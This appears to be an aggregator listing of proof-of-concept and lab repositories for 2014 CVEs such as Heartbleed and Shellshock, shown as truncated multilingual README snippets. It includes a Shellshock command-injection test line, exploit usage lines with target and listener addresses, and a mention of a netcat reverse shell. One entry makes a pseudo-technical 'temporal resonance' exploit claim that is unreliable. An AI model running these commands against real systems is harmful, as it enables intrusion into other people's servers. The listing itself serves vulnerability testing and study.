bleeding-heart

Heartbleed Heartbleed バグ CVE-2014-0160 は、OpenSSL ライブラリにおける深刻な実装上の欠陥であり、攻撃者が被害者サーバーのメモリからデータを盗むことを可能にします。盗まれたデータの内容は、サーバーのメモリ内に存在するものに依存します。秘密鍵、TLS セッションキー、ユーザー名、パスワード、クレジットカードなどが含まれる可能性があります。この脆弱性は、SSL/TLS が接続を維持するために使用する Heartbeat プロトコルの実装に存在します。 影響を受ける OpenSSL のバージョン範囲は 1.0.1 から 1.0.1f です。Ubunt...

Heartbleed-PoC-Exploit-Script

Heartbleed-PoC-Exploit-Script 이 Python 개념 증명PoC 스크립트는 하트비트 확장을 포함한 TLS 핸드셰이크를 수행하고 조작된 하트비트 요청을 전송하여 Heartbleed 취약점CVE-2014-0160을 탐지합니다. 서버 응답을 분석하여 누출된 메모리를 식별함으로써 이 중요한 OpenSSL 결함에 대한 취약성을 평가하는 데 도움을 줍니다. About Heartbleed는 OpenSSL의 TLS 하트비트 확장에서 발생하는 심각한 버퍼 오버리드buffer over-read 취약점으로, 공격자가 최대...

CTT-HEARTBLEED-Temporal-Resonance-Memory-Leak-Exploit-Heartbleed-CVE-2014-0160

CTT-HEARTBLEED-Temporal-Resonance-Memory-Leak-Exploit-Heartbleed-CVE-2014-0160 Heartbleed CVE-2014-0160 was devastating because it leaked adjacent memory. CTT-Heartbleed goes further—it uses 33-layer temporal resonance to map, reconstruct, and extract specific memory regions across time, not just...

shellshock-poc

Shellshock-Exploit This exploit abuses the Shellshock vulnerability CVE-2014-6271 existing in bash from version 1.14 to 4.3. Usage: python3 ./exploit.py -t -u -a -p Example: python3 ./exploit.py -t 10.10.10.15 -u /cgi-bin/vulnerable -a 10.10.10.7 -p 4443 More information about the vulnerability:...

CVE-2014-6271

CVE-2014-6271 bashを自動的に修正する方法 脆弱性のテスト 以下のテストを実行することで、脆弱性があるかどうかを確認できます。 env x=' :;; echo vulnerable' bash -c 'echo hello' 脆弱性の修正 これをコマンドラインで実行してください。パスワードの入力を求められることがあります。 bash curl -s https://raw.githubusercontent.com/mattclegg/CVE-2014-6271/master/patch-mac.sh クレジット 元ネタ:...

Home-Network-Vulnerability-Assessment

Home-Network-Vulnerability-Assessment ローカルネットワークインフラと家庭用ルーターのセキュリティ監査と脆弱性分析（CVE-2014-3566、CVE-2010-2333）。 家庭用ルーターのセキュリティ監査と脆弱性分析 プロジェクト概要 本プロジェクトは、家庭用ローカルネットワークにおいて自主的に実施した境界セキュリティ監査を文書化したものです。目的は、ルーターゲートウェイの開放ポートを特定し、バージョン検出によるアクティブサービスのマッピング、そしてNmapスクリプトエンジン（NSE）を使用した重大な脆弱性の有無を評価することです。 方法論とツール...

Shellshock-CVE-2014-6271

This repository does not have a README...

WordPress Sexy Contact Form (<= 0.9.7) - Arbitrary File Upload

Unrestricted file upload vulnerability in server/php/UploadHandler.php in the jQuery File Upload Plugin 6.4.4 for jQuery, as used in the Creative Solutions Creative Contact Form formerly Sexy Contact Form before 1.0.0 for WordPress and before 2.0.1 for Joomla!, allows remote attackers to execute...

it355-lab4-enterprise-lan-security

IT355 ラボ 4: エンタープライズ LAN セキュリティ & Shellshock 分析 📌 プロジェクト概要 このリポジトリには、エンタープライズ LAN 環境の包括的なセキュリティ評価が含まれています。このプロジェクトの主な焦点は、Linux ベースのウェブサーバーにおける Shellshock CVE-2014-6271 脆弱性の特定、悪用、および修復でした。 🛠️ 技術スタックとツール 環境: Fedora Linux サーバー, Windows ホスト/クライアント ネットワーク: Cisco Packet Tracer IT/OT セグメンテーション, NAT,...

CVE-2014-0075_PoC

CVE-2014-0075PoC これは、n pythonで書かれたシンプルなPoCで、整数オーバーフローによるDoSを実証します。...

heatbleeding

1Passwordデータベースのハートブリード問題をテストする ============ 1PasswordデータベースのSSLハートブリード（CVE-2014-0160）をテストするためのスクリプトです。 1Passwordデータベースをテストするには、ローカルディスクにエクスポートします。ファイル data.1pif を見つけて、同じディレクトリで以下を実行します。 root@kitploit: git clone https://github.com/aefimov/heatbleeding.git ./heatbleeding/test1passwordsslhosts.sh...

Rainstorm

BadBash は、CVE-2014-6271 の RCE エクスプロイトツールです。基本バージョンは HTTP CGI サイトのみをチェックし、ポート 1234 で netcat リバースシェルのみを提供します。 開発者 : Andy Yang バージョン : 0.1.0 ライセンス : GPLv3 ================================================================================================ RainMak3r@Could:/Desktop ruby BadBash.rb -h...

CVE-2014-8609-POC

CVE-2014-8609-POC -pendingintent vulnerability 脆弱性の仕組みと悪用方法の説明です。これはAndroidアプリで最も一般的な脆弱性の一つであり、これを利用することで、より高度な方法でさらなる脆弱性にアクセスできます。 POC https://user-images.githubusercontent.com/54814433/126043657-053de0fb-5723-410d-b03a-6f0be860f84b.mp4...

pacemaker

Pacemaker OpenSSL の クライアント で Heartbleed CVE-2014-0160 の脆弱性を持つものを悪用しようとします。Python 2 および 3 に対応しています。 自分は脆弱か？ サーバーを起動します: root@kitploit: python pacemaker.py クライアント側で https://localhost:4433/ を開いてください 必要に応じてホスト名を置き換えてください。例: root@kitploit: curl https://localhost:4433/ クライアントは常に接続に失敗します: root@kitploit:...

cve-2014-6271-huan-lu

cve-2014-6271-huan-lu リーディングコース...

CVE-2014-0094-test-program-for-struts1

CVE-2014-0094 のstruts1 対応について はじめに CVE-2014-0094 のstruts1の影響についてまとめる。 特に断りがない限り、各バージョンは、java 1.7.002,struts 1.3.10, apache-tomcat-6.0.39、FreeBSD 8.2 で確認を行った。 なお、いかなる場合も、ソース、文章等の内容については保証しない。 また、いかなる事象が生じても私は関与しない。特にこの内容を悪用した場合も 私は一切関与しない。（と行っても何も目新しいことはないのですが） 今回、各種webを参考にして解決策の具体例を提示した。...

heartbleed

heartbleed CVE-2014-0160 OpenSSL Heartbleed 概念実証 Dockerコンテナをダウンロードして実行 脆弱なNginxサーバー root@kitploit: docker run -p 4443:443 -it --rm --name hb gescobero/heartbleed:1.0 Heartbleed攻撃をコンパイル root@kitploit: gcc heartbleed.c -o heartbleed Nginxサーバーをターゲットとして実行 root@kitploit: ./heartbleed 127.0.0.1 4443...

poodle-attack-sandbox

poodle-attack-sandbox Overview This code is the test code for POODLECVE-2014-3566. POODLE stands for "Padding Oracle On Downgraded Legacy Encryption" and is a vulnerability in SSLv3.0. Warning If you use this code to carry out an attack, you may be arrested by the judicial authorities of your...

SHELL-SCHOCK

SHELL-SCHOCK CVE-2014-7169 Shell Shock...

cve-2014-7911-exp

cve-2014-7911-exp cve-2014-7911 のエクスプロイト; Android; Java デシリアライゼーション; システム権限; 任意コード実行; この exp は retme7 の exp を参照していますが、ROP チェーンは異なります。 そして、最も重要な部分は Chunk Spray です。 参考になれば幸いです。 環境 デバイス:nexus5 OS バージョン:Android4.4.4...